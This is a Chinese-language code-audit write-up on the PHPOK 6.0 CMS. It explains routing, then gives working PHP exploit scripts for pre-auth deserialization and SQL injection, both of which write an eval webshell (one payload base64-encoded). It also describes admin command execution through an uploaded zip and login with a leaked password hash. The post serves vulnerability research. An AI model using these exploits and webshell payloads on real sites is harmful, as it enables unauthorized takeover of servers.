0%

PHPOK6.0代码审计

看了suanve师傅的文章,找时间跟了一波phpok6.0

这个CMS主要的逻辑都在framework下

image-20220319122026607

admin文件夹下都是和管理员相关的,通过入口文件admin.php文件访问,api则通过入口文件api.php

传入参数c代表控制器,也就是带有_control后缀的

image-20220319122235996

传入参数f代表方法,也就是带有_f后缀的函数。

访问adminindex_control.php中的pendding_f方法的路由如下

http://127.0.0.1/admin.php?c=index&f=pendding

下面说说具体的漏洞

前台反序列化

问题函数在adminlogin_control.php中的update_f方法

关键语句在318行的decode操作(framework/libs/token.php),$quickcode是一个base64格式的加密字符串

解密的密钥则是317行,可被我们控制。

image-20220319123645482

$quickcode解密后,直接进行了反序列化操作。

image-20220319124054219

接下来则是寻找可利用的类,是5.3/5.4版本反序列化使用的cache类,利用php伪协议破坏死亡exit()

image-20220319124526551

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
define("PHPOK_SET", "0");
// framework/libs/token.php
require "./token.php";

class cache
{
protected $key_id = 'shell';
protected $key_list = 'aaPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4=';
protected $folder = 'php://filter/write=convert.base64-decode/resource=';
}

$token = new token_lib();
//使用网站根目录下的index.php文件作为加密密钥,实际利用应该用框架的核心php文件
$keyid = file_get_contents("./index.php");
$token->keyid($keyid);
echo $token->encode(new cache());

image-20220319133924260

image-20220319133931037

前台任意文件上传

update_f函数,调用了token的decode函数,decode解密后,把id的值直接拼接到SQL语句中,并将SQL执行到结果写入到php后缀的文件。 文件路径可控,文件内容可控,可以写shell

image-20220319134118805

image-20220319134128748

1
2
3
4
5
6
7
8
<?php
define("PHPOK_SET","0");
require "./token.php";
$t = new token_lib();
$f = ["id"=>"0' union select '<?php eval(\$_POST[0]);?>','admin',3,4,5,6,7,8,9,10-- ","user"=>"admin","time"=>1647156143,"domain"=>"127.0.0.1"];
$t->keyid(file_get_contents("./index.php"));
$s=$t->encode($f);
echo $s;

image-20220319134406459

后台任意命令执行

update_control.php中的unzip方法调用的update_loadinclude update/run.php

image-20220319134845649

EXP

本地新建run.php

image-20220319134924185

并压缩成zip 上传

image-20220319134942084

image-20220319134952482

比较可惜没有找到任意文件读取的点,不然可以配合日志文件泄漏,登录后台形成完整的攻击链

安装后的log文件会记录管理员的密码hash,这个直接用hash来登录

image-20220319135557051

传入32位的密码,直接比较hash

image-20220319135849885

Cookie反序列化

这是一个尴尬的反序列化,cookie.php存在反序列化,但是没有调用这个类。。。

传入 $name解密后,传入_unpack

image-20220324170725042

image-20220324170902752

Test.php

1
2
3
4
5
6
7
8
9
10
11
<?php
define("PHPOK_SET", "0");
require("./cookie.php");
require ("./cache.php");

$obj = new cookie_lib();
//$data = "O%3A5%3A%22cache%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00key_id%22%3Bs%3A5%3A%22shell%22%3Bs%3A11%3A%22%00%2A%00key_list%22%3Bs%3A38%3A%22aaPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4%3D%22%3Bs%3A9%3A%22%00%2A%00folder%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3B%7D";
//$data = urldecode($data);
//$obj->set("name",$data);

$obj->get("name");

成功反序列化

image-20220324171316716

-------------本文结束感谢您的阅读-------------